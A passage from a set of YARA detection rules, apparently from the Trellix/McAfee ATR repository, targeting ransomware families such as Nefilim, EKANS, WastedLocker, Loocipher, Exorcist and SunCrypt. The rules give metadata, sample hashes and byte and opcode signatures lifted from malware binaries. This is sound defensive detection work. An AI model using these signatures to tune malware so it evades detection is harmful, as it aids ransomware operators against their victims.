?8D????????????50E8????????E9????????FF??????????8D??????508D????????????50FF??8D??????50E8????????8B??C7????????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????8D??????50FF??85??74??8D????????????50E8????????598D??????50FF??????FF??????????85??0F85????????FF??????FF??????????5F5E5B8B??5DC3558B??81??????????53565768????????FF??????????8B??????????5033??57FF??8B??????????50FF??68????????89????FF??????????89????B8????????39????74??8B????2B??8A??FF????88????4039????75??57576A??575768????????FF????FF??????????89????3B??0F84????????8D????5150FF??????????6A??57FF??50FF??6A??5789????FF??50FF??FF????89????E8????????FF????E8????????595968????????57FF??50FF??68????????5789????FF??50FF??FF????8B????89????E8????????FF????8B????E8????????8B??????????59595757FF????FF????FF????FF??57FF??????????578D????5068????????FF????FF????FF??????????FF??????????83????0F84????????FF??????????83????0F84????????8B????8B????5705????????5713??5150FF????FF??578D????5068????????FF????FF????FF??????????8B????8B????5705????????5713??5150FF????FF??578D????5068????????FF??????????50FF????FF????FF??????????8B????8B????3B??0F8C????????7F??81??????????0F86????????89????89????3B??0F8C????????7F??3B??0F86????????EB??8B????2B????1B????89????0F88????????7F??81??????????0F82????????68????????57FF??50FF??????????5757FF????89????FF????FF????FF??578D????5068????????FF????FF????FF??????????FF????8B????FF????68????????FF????E8????????83????5757FF????FF????FF????FF??578D????5068????????FF????FF????FF??????????FF??FF????5750FF??????????81????????????8B????11????39????0F8C????????0F8F????????8B????39????0F82????????E9????????3B??7C??7F??81??????????76??68????????57FF??50FF??????????575733??89????5133??50FF????FF??578D????5068????????FF????FF????FF??????????FF????8B????FF????68????????FF????E8????????83????575733??5050FF????FF??578D????5068????????EB??5157FF??50FF??????????575733??89????5133??50FF????FF??578D????50FF????FF????FF????FF??????????FF????8B????FF????FF????FF????E8????????83????575733??5050FF????FF??578D????50FF????FF????FF????FF??????????FF????57FF??50FF??????????FF????FF??????????FF????57FF??8B??????????50FF??FF???? }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of ( $s* ) or all of ( $op* ) or $bp
}


rule TRELLIX_ARC_RANSOM_Nefilim_Go : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect the new Nefilim written in GO"
		author = "Marc Rivero | McAfee ATR Team"
		id = "a8809060-c646-5d54-88e7-c8054305ee6c"
		date = "2020-07-13"
		modified = "2020-08-14"
		reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_NEFILIM.yar#L74-L98"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "a51fec27e478a1908fc58c96eb14f3719608ed925f1b44eb67bbcc67bd4c4099"
		logic_hash = "f0b10286fb1623a32bcf1f30cadce2901f7711cb36db6bbe812f6c2e03862270"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/Nefilim"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$pattern = { FF20476F206275696C642049443A20226A744368374D37436A4A5732634C5F636633374A2F49625946794336635A64735F4D796A56633461642F486B6D36694A4D39327847785F4F2D65746744692F664E37434C43622D59716E374D795947565A686F220A20FFCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108766B83EC0CC744241400000000C7442418000000008B4424108400890424E88D0200008B44240485C0740789C183F8FF7514C744241400000000C74424180000000083C40CC3894C24088B44241083C004890424E8570200008B4424048B4C2408894C24148944241883C40CC3E8AE5A0400E979FFFFFFCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86EC00000083EC108B44241885C00F84C30000008B4424148400890424E8FD0100008B44240485C0742E89C183F8FF74E38B44241839C10F85800000008B44241C894424048B44241483C004890424E88B12000083C410C3E8620303008B442414890424C744240400000000C7442408FFFFFFFFE8A61200000FB644240C84C07507E868030300EB8B8B44241C894424048B4424148D4804890C24E83F1200008B442418894424048B442414890424E82B120000E83603030083C410C38D05408E4E008904248D05B8CC510089442404E8DA3F02000F0B8D05408E4E008904248D05B0CC510089442404E8C03F02000F0BE899590400E9F4FEFFFFCCCCCCCCE90B000000CCCCCCCCCCCCCCCCCCCCCC8B6C24048B4424088B4C240CF00FB14D000F94442410C3CCCCCCCCCCCCCCCCCCE9DBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B05000000008B4424088B54240C8B5C24108B4C2414F00FC74D000F94442418C3CCCCCCE90B000000CCCCCCCCCCCCCCCCCCCCCC8B6C24048B44240889C1F00FC1450001C1894C240CC3CCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B05000000008B7424088B7C240C8B45008B550489C389D101F311F9F00FC74D0075F1895C2410894C2414C3CCCCCCCCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC8B442404A90700000074068B05000000000F6F000F7F4424080F77C3CCCCCCCCE9CBFFFFFFCCCCCCCCCCCCCCCCCCCCCCE9BBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C24048B442408874500C3CCCCCCCCE9EBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B4424040FBCC074058944240CC38B4424080FBCC0740883C0208944240CC3C744240C40000000C3CCCCCCCCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC8B4424048B0089442408C3CCCCCCCCCC83EC208B4424248B088B54242889CB01D1894C241C8B6804890424895C2404896C2408894C240C8B5C242C11DD896C2418896C2410E8160100000FB644241484C074C08B44241C894424308B4424188944243483C420C3CCCCCCCCCCCCCCCCCC83EC208B4424248B08894C24188B50048954241C890424894C2404895424088B5C2428895C240C8B6C242C896C2410E8BC0000000FB644241484C074C68B442418894424308B44241C8944243483C420C3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC8B5C24048B4424088B4C240CF00FB10B0F94442410C3CCCCCCCCCCCCCCCCCCCCE9DBFFFFFFCCCCCCCCCCCCCCCCCCCCCCE9EBFEFFFFCCCCCCCCCCCCCCCCCCCCCCE9DBFEFFFFCCCCCCCCCCCCCCCCCCCCCCE9DB000000CCCCCCCCCCCCCCCCCCCCCCE97B000000CCCCCCCCCCCCCCCCCCCCCCE9CB000000CCCCCCCCCCCCCCCCCCCCCCE9BBFEFFFFCCCCCCCCCCCCCCCCCCCCCC8B6C2404F7C50700000074068B2D000000008B4424088B54240C8B5C24108B4C2414F00FC74D000F94442418C3CCCCCC8B5C24048B4424088B4C240CF00FB10B0F94442410C3CCCCCCCCCCCCCCCCCCCC8B5C24048B44240889C1F00FC10301C88944240CC3CCCCCCCCCCCCCCCCCCCCCC8B5C24048B44240887038944240CC3CCE9EBFFFFFFCCCCCCCCCCCCCCCCCCCCCC8B5C24048B4424088703C3CCCCCCCCCC8B5C24048B4424088703C3CCCCCCCCCC8B442404A90700000074068B05000000008D5C24080F6F000F7F030F77C3CCCC8B442404A90700000074068B05000000000F6F4424080F7F000F77B800000000F00FC10424C3CCCCCCCCCCCCCCCCCCCC8B4424048A5C2408F00818C3CCCCCCCC8B4424048A5C2408F02018C3CCCCCCCC648B0D140000008B89000000003B610876098B4424088944240CC3E860550400EBDECCCCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240801000000E8AF4400008B44240C8944241C83C410C3E80E550400EBBCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240802000000E85F4400008B44240C8944241C83C410C3E8BE540400EBBCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108762B83EC108B4424148904248B44241889442404C744240810000000E80F4400008B44240C8944241C83C410C3E86E540400EBBCCCCCCCCCCCCCCCCCCCCCCCCC83EC108D42048B008B4C2414890C248B4C2418894C240489442408E8D04300008B44240C8944241C83C410C3CCCCCCCC648B0D140000008B89000000003B6108762C83EC108B4424148B088B400489442408890C248B44241889442404E88E4300008B44240C8944241C83C410C3E8ED530400EBBBCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86B600000083EC108B442414F30F10000F57C90F2EC175060F8B860000000F2EC075027B5B648B05140000008B80000000008B40188B88940000008B909800000089909400000089CBC1E11131D989D331CAC1E90731D189DAC1EB1031CB8998980000008D041A8B4C241831C835A98E7FAA69C0CD76BAC28944241C83C410C38904248B44241889442404C744240804000000E8C74200008B44240C8944241C83C410C38B44241835A98E7FAA69C0CD76BAC28944241C83C410C3E80F530400E92AFFFFFFCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86B800000083EC108B442414F20F10000F57C9660F2EC175060F8B87000000660F2EC075027B5B648B05140000008B80000000008B40188B88940000008B909800000089909400000089CBC1E11131D989D331CAC1E90731D189DAC1EB1031CB8998980000008D041A8B4C241831C835A98E7FAA69C0CD76BAC28944241C83C410C38904248B44241889442404C744240808000000E8E54100008B44240C8944241C83C410C38B44241835A98E7FAA69C0CD76BAC28944241C83C410C3E82D520400E928FFFFFFCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108763C83EC0C8B44241084008904248B4C2414894C2404E815FEFFFF8B44241083C0048B4C2408890424894C2404E8FEFDFFFF8B4424088944241883C40CC3E8CD510400EBABCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B6108763C83EC0C8B44241084008904248B4C2414894C2404E895FEFFFF8B44241083C0088B4C2408890424894C2404E87EFEFFFF8B4424088944241883C40CC3E86D510400EBABCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86F200000083EC248B4424288B0885C974678B49048B59108B1385D274670FB6490FF6C120742983C0048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B40048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B44242C8944243083C424C3890C24E8B2FA03008B4424088B4C2404C70424000000008D15A279500089542404C744240818000000894C240C89442410E8F46603008B4424188B4C2414894C241C894424208D05C0D24E008904248D44241C89442404E81E8E00008B44240C8B4C2408890C2489442404E87A3602000F0BE853500400E9EEFEFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCC648B0D140000008B89000000003B61080F86EF00000083EC248B4424288B0885C974648B59108B1385D274670FB6490FF6C120742983C0048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B40048904248B44242C35A98E7FAA894424048B02FFD08B44240869C0CD76BAC28944243083C424C38B44242C8944243083C424C3890C24E895F903008B4424088B4C2404C70424000000008D15A279500089542404C744240818000000894C240C89442410E8D76503008B4424188B4C2414894C241C894424208D05C0D24E008904248D44241C89442404E8018D00008B44240C8B4C2408890C2489442404E85D3502000F0BE8364F0400E9F1FEFFFFCC648B0D140000008B89000000003B61087606C644240C01C3 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8000KB and all of them
}

rule TRELLIX_ARC_Snake_Ransomware : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect Snake ransomware"
		author = "McAfee ATR Team"
		id = "b8f50af5-5568-5676-93a1-e818f08df0ce"
		date = "2020-02-20"
		modified = "2020-10-12"
		reference = "https://dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_snake_ransomware.yar#L1-L26"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "e5262db186c97bbe533f0a674b08ecdafa3798ea7bc17c705df526419c168b60"
		logic_hash = "3ae64fbacbf886b8d09abc3f5f8eb9c8bff809909a251f2d055056e6d12217a2"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/EKANS"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$snake = { 43 3A 2F 55 73 ?? 72 ?? 2F 57 49 4E 31 2F 67 6F 2F 73 ?? 63 2F 6A 6F 62 6E 68 62 67 6E 6E 69 66 70 6F 64 68 68 70 ?? 6D 66 2F 6E 66 64 6C 68 6F 70 68 6B 65 69 6A 61 64 67 66 64 64 69 6D 2F 6E 66 64 6C 68 6F 70 68 6B 65 69 6A 61 64 67 66 64 64 69 6D 2F 76 74 5F 73 74 ?? 69 6E 67 2E 67 6F 00 }
	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 11000KB ) and all of them
}

rule TRELLIX_ARC_RANSOM_Wastedlocker : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect unpacked samples of WastedLocker"
		author = "McAfee ATR Team"
		id = "900923cf-75c0-5342-858d-fe1ffa9486bd"
		date = "2020-07-27"
		modified = "2020-10-12"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_wastedlocker.yar#L1-L32"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "c5adf88a46c34c8683d0e3d70529b352c77209f004e6c638ff079ea025921781"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/WastedLocker"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
		hash1 = "ae255679f487e2e9075ffd5e8c7836dd425229c1e3bd40cfc46fbbceceec7cf4"
	strings:
		$pattern_0 = { 8d45fc 50 53 53 6a19 ff75f8 }
		$pattern_1 = { 66833b00 8bf3 0f8485000000 8b7d10 8b472c 85c0 7410 }
		$pattern_2 = { e8???????? 8b4d08 8b4518 8d0441 6683600200 83c40c 837d1400 }
		$pattern_3 = { 8701 e9???????? 8bc7 5f 5e 5b }
		$pattern_4 = { 8bf8 3bfb 742f 53 8d45fc 50 56 }
		$pattern_5 = { 6a10 8d45f0 6a00 50 e8???????? 83c40c 5e }
		$pattern_6 = { 5f 5d c20800 55 8bec }
		$pattern_7 = { 8d7e04 ff15???????? 85c0 8945e8 740e 2b4510 }
		$pattern_8 = { ff15???????? 8b45dc 8b4dbc 69c00d661900 055ff36e3c 8945dc }
		$pattern_9 = { 8b4d08 8b19 03d8 f7d0 c1c60f 03f2 0bc6 }
	condition:
		7 of them and filesize < 1806288
}

rule TRELLIX_ARC_Loocipher_Ransomware : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect Loocipher ransomware"
		author = "Marc Rivero | McAfee ATR Team"
		id = "d18efe09-4b04-5089-84f8-aead63fc19bb"
		date = "2019-12-05"
		modified = "2020-08-14"
		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/analysis-of-loocipher-a-new-ransomware-family-observed-this-year/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Loocipher.yar#L1-L46"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "7720aa6eb206e589493e440fec8690ceef9e70b5e6712a9fec9208c03cac7ff0"
		logic_hash = "36e452c34fd9bbb521f5422bffdbb71991de66f3faa29292dc3f27c8d7e1f9ba"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/Loocipher"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$x1 = "c:\\users\\usuario\\desktop\\cryptolib\\gfpcrypt.h" fullword ascii
		$x2 = "c:\\users\\usuario\\desktop\\cryptolib\\eccrypto.h" fullword ascii
		$s3 = "c:\\users\\usuario\\desktop\\cryptolib\\gf2n.h" fullword ascii
		$s4 = "c:\\users\\usuario\\desktop\\cryptolib\\queue.h" fullword ascii
		$s5 = "ThreadUserTimer: GetThreadTimes failed with error " fullword ascii
		$s6 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::operator *" fullword wide
		$s7 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::operator +=" fullword wide
		$s8 = "std::basic_string<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator []" fullword wide
		$s9 = "std::vector<struct CryptoPP::ProjectivePoint,class std::allocator<struct CryptoPP::ProjectivePoint> >::operator []" fullword wide
		$s10 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::operator *" fullword wide
		$s11 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::operator +=" fullword wide
		$s12 = "std::vector<struct CryptoPP::WindowSlider,class std::allocator<struct CryptoPP::WindowSlider> >::operator []" fullword wide
		$s13 = "std::istreambuf_iterator<char,struct std::char_traits<char> >::operator ++" fullword wide
		$s14 = "std::istreambuf_iterator<char,struct std::char_traits<char> >::operator *" fullword wide
		$s15 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::_Compat" fullword wide
		$s16 = "std::vector<class CryptoPP::PolynomialMod2,class std::allocator<class CryptoPP::PolynomialMod2> >::operator []" fullword wide
		$s17 = "DL_ElgamalLikeSignatureAlgorithm: this signature scheme does not support message recovery" fullword ascii
		$s18 = "std::vector<struct CryptoPP::ECPPoint,class std::allocator<struct CryptoPP::ECPPoint> >::operator []" fullword wide
		$s19 = "std::vector<struct CryptoPP::EC2NPoint,class std::allocator<struct CryptoPP::EC2NPoint> >::operator []" fullword wide
		$s20 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::_Compat" fullword wide
	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and ( 1 of ( $x* ) and 4 of them ) ) or ( all of them )
}

rule TRELLIX_ARC_RANSOM_Exorcist : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect Exorcist"
		author = "McAfee ATR Team"
		id = "38ab069d-b030-5459-a42f-7ecd5963e68f"
		date = "2020-09-01"
		modified = "2020-10-12"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Exorcist.yar#L1-L25"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "c376382e60aae0f661151495097d3d93f185faebb11781dbf083324c23a07247"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransomware:W32/Exorcist"
		actor_type = "Cybercrime"
		hash1 = "793dcc731fa2c6f7406fd52c7ac43926ac23e39badce09677128cce0192e19b0"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$sq1 = { 48 8B C4 48 89 58 08 48 89 70 10 48 89 78 18 4C 89 60 20 55 41 56 41 57 48 8D 68 A1 48 81 EC 90 00 00 00 49 8B F1 49 8B F8 4C 8B FA 48 8B D9 E8 ?? ?? ?? ?? 45 33 E4 85 C0 0F 85 B1 00 00 00 48 8B D7 48 8B CB E8 9E 02 00 00 85 C0 0F 85 9E 00 00 00 33 D2 48 8B CB E8 ?? ?? ?? ?? 45 33 C0 48 8D 15 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 45 8D 44 24 01 48 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 8B D0 48 8B CB 48 8B F8 FF 15 ?? ?? ?? ?? 4C 89 64 24 30 45 33 C9 C7 44 24 28 80 00 00 E8 45 33 C0 BA 00 00 00 C0 C7 44 24 20 03 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 4C 8B F0 48 8D 48 FF 48 83 F9 FD 77 25 48 8D 55 2F 48 8B C8 FF 15 ?? ?? ?? ?? 4C 39 65 2F 75 3B 49 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 4C 8D 9C 24 90 00 00 00 49 8B 5B 20 49 8B 73 28 49 8B 7B 30 4D 8B 63 38 49 8B E3 41 5F 41 5E 5D C3 48 8D 45 FB 4C 89 65 1F 4C 8D 4D FF 48 89 44 24 20 4C 8B C6 4C 89 65 07 48 8D 55 07 4C 89 65 FF 48 8D 4D 1F 44 89 65 FB E8 ?? ?? ?? ?? 45 33 C9 4C 8D 05 3C F5 FF FF 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 48 8D 55 17 49 8B CE FF 15 ?? ?? ?? ?? 49 8B CE 44 89 65 F7 E8 ?? ?? ?? ?? 49 8B F4 4C 89 65 0F 4C 39 65 17 0F 8E 9D 00 00 00 C1 E0 10 44 8B F8 F0 FF 45 F7 B9 50 00 00 00 E8 ?? ?? ?? ?? 8B 4D 13 48 8B D8 89 48 14 89 70 10 4C 89 60 18 44 89 60 28 4C 89 70 30 48 8B 4D 07 48 89 48 48 48 8D 45 F7 B9 00 00 01 00 48 89 43 40 E8 ?? ?? ?? ?? 33 D2 48 89 43 20 41 B8 00 00 01 00 48 8B C8 E8 ?? ?? ?? ?? 48 8B 53 20 4C 8D 4B 38 41 B8 00 00 01 00 48 89 5C 24 20 49 8B CE FF 15 ?? ?? ?? ?? EB 08 33 C9 FF 15 ?? ?? ?? ?? 8B 45 F7 3D E8 03 00 00 77 EE 49 03 F7 48 89 75 0F 48 3B 75 17 0F 8C 6B FF FF FF EB 03 8B 45 F7 85 C0 74 0E 33 C9 FF 15 ?? ?? ?? ?? 44 39 65 F7 77 F2 48 8B 4D 07 E8 ?? ?? ?? ?? 48 8B 4D 1F 33 D2 E8 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 4C 89 64 24 30 45 33 C9 C7 44 24 28 80 00 00 00 45 33 C0 BA 00 00 00 C0 C7 44 24 20 03 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 48 8B D8 48 8D 48 FF 48 83 F9 FD 77 51 48 8D 55 37 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B 55 37 45 33 C9 45 33 C0 48 8B CB FF 15 ?? ?? ?? ?? 44 8B 45 FB 4C 8D 4D 27 48 8B 55 FF 48 8B CB 4C 89 64 24 20 FF 15 ?? ?? ?? ?? 48 8B 4D FF E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? E9 14 FE FF FF 48 8B CF E8 ?? ?? ?? ?? 48 8B 4D FF E9 06 FE FF FF }
		$sq2 = { 48 8B C4 48 81 EC 38 01 00 00 48 8D 50 08 C7 40 08 04 01 00 00 48 8D 4C 24 20 FF 15 ?? ?? ?? ?? 48 8D 4C 24 20 E8 ?? ?? ?? ?? 48 81 C4 38 01 00 00 C3 }
	condition:
		uint16( 0 ) == 0x5a4d and any of them
}

rule TRELLIX_ARC_RANSOM_Suncrypt : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect SunCrypt ransomware"
		author = "McAfee ATR Team"
		id = "92655f3e-f8e4-5c9f-ae3f-0796bd31d660"
		date = "2020-10-02"
		modified = "2020-11-02"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Suncrypt.yar#L1-L25"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "9f27c6c5bfe0d01ed517d55687bf699814679488f95ce4942306f09f39e29d85"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransomware:W32/Suncrypt"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
		hash1 = "3090bff3d16b0b150444c3bfb196229ba0ab0b6b826fa306803de0192beddb80"
		hash2 = "63ba6db8c81c60dd9f1a0c7c4a4c51e2e56883f063509ed7b543ad7651fd8806"
	strings:
		$pattern = { 77??2F475263????78??58436463????77??7A??5263????78??5846534D5A4678??48475263??????6B??????4D5A4679??7A??5263????78??584C5163????7A??44475264??5778??58526163????30????475264??30????58556463????31????475264??73??6B??????63????32????4752646C73??6B??????38????32??5047526477??6A??5738????68????????41555039????496C46374931????46446F62????414146442F565169????????????5039????466D4A526669??????????64??63????4F6D38????414169??????????586F69??????????33????30????69????????????6F41444141414974??38????41554542516167??2F5665??4478??434A526679??6666????64??63????4F6D444141414169??????????33??69????????????77??33????2F33????2F33????36??49464141434478??7A??64667A??64??7A??64??6A??73??7A??2F34??454449584164??517A??4F74??69??????????5834??5558672F33????2F33????36??6E362F2F39????59584164??517A??4F73??69??????????33??69????????????554B30????69????????????30????5838????5830????5549554974??4446434C525268????????30??39????77??444A77??574C37495073??4D5A4634??62????65??70??6B??????73??4634??54475265??31????586C5963????35????????65????78??586F63????4636??2F47526570??78??5872??63????37475047526531??78??5875??4931????46446F534163????46442F565169????????????66??51616B??????52434C51416A??63????4C5252442F63????2F566679??78??434677??55454D38??????475368????????41496C462B????462B????4E454974??49496C49434974??454974??434974??454974??49414E494B496C4E39????4639????517A??5041514D6E44565976??555974??434974??434974??434974??494474??4E4855464D38????367A??4C525169??????????????6C72??51574466??68????????454D38??????6F74??434974??434974??434974??494374??4E496C4E2F5039??2F4974??435039????4F6A??2B????2F57566E4A77??574C37494873??41414141494E6C6C4143445A6141416733??514148554969??????????30??????44475266??75??6B??????4D5A4638????475266??73??6B??????4D5A4639????475266??6B??????33????5A462B????4752666B??????5867??73??4634??6E475265??79??6B??????4D5A4635????????65??68????????62????4635????????65??????????70??63????366E4C47526574??78??5873??4D5A4630????475264??70??6B??????73??4630??54475264??31????58565963????31????475264????78??585962????4632????47526470??78??5862????5A4633????475262????78??5739????5A4676??54475262??4478??58416463????77??4C475263????78??58445A63????78??37475263????78??5847554D5A4678??4C475263????78??584A5938????79??58475263??????6B??????38????7A??44475261526178??576C64??????70??584752616475??6B??????63????71??4847526170??78??5772??73??4672??6E47526131??????5775??38????72??2F475262????78??5778??38????73??58475262????78??5730??????4674??6E475262????78??5733????5A4675??434E5265??5136??4D46414142512F31????69????????????51554F677A??514141555039????496C466E4931????46446F4977??414146442F565169????????????6152516A??5877??5039????46442F565169????????????52434C514269????????????4932????502F2F2F31??????667A??565A434677??515A67??32????414142414855433677??4C526677??68????????2F2B????667A??31????46454974??434974??454974??4E4474??47484A4D69??????????414969??????????5838????36??6661414164??69??????????????6A??565978??2F31????68????????32????61414177??41434C5252434C514169??????????????74??454974??435039????5039????495045454974??45496C4249476F4561414177??41434C5252434C514169??????????????74??454974??435039????5039????495045454974??45496C42494974??45494E34??414231????74??454974??43476F49575776??42594E38????77??64??474C5252434C514169??????????????534A51534472??476F4561414177??41434C5252434C514169??????????????6F412F31????67??????69??????????456769??????????67????48554636??67??4141434C5252434C51416A??63????4C5252442F63????4C5252442F63????6F30????4141495045444974??454974??434974??454974??43412B??5352534E524167??69????????????38????73??69??????????6C462F4974??454974??43412B??51415935????????4F5774??2F4369??????????????45516130????4B4974??454974??454974??6D414E4D4168????????5838????74??454974??494974??6D414E4D416778??36??59424141434478??7A??73??64??6C4145414141417A??412B????50372F2F34??466C4D6E44565976??555974??434974??434974??45496C49424974??434974??42412B??414431????67??4164??517A??4F73??69??????????414569??????????6B??????67??????554969????????????4969??????????68????????4164??517A?? }
	condition:
		uint16( 0 ) == 0x6441 and all of them
}

rule TRELLIX_ARC_RANSOM_Suncrypt_Decryptor : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect SunCrypt ransomware decryptor"
		author = "McAfee ATR Team"
		id = "ec0d3811-6083-5537-bf29-32ee02d43b5e"
		date = "2020-10-02"
		modified = "2020-11-02"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Suncrypt.yar#L27-L50"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "59d1193bb0f8d3983a181394b5dd5247470d9e118cc4fe0674167f162bcdb6e1"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransomware:W32/Suncrypt"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
		hash1 = "a0f99367b0a0a358ed6e5ae25904016d02aef6aa7c0423c34aa3ec3fd6354310"
	strings:
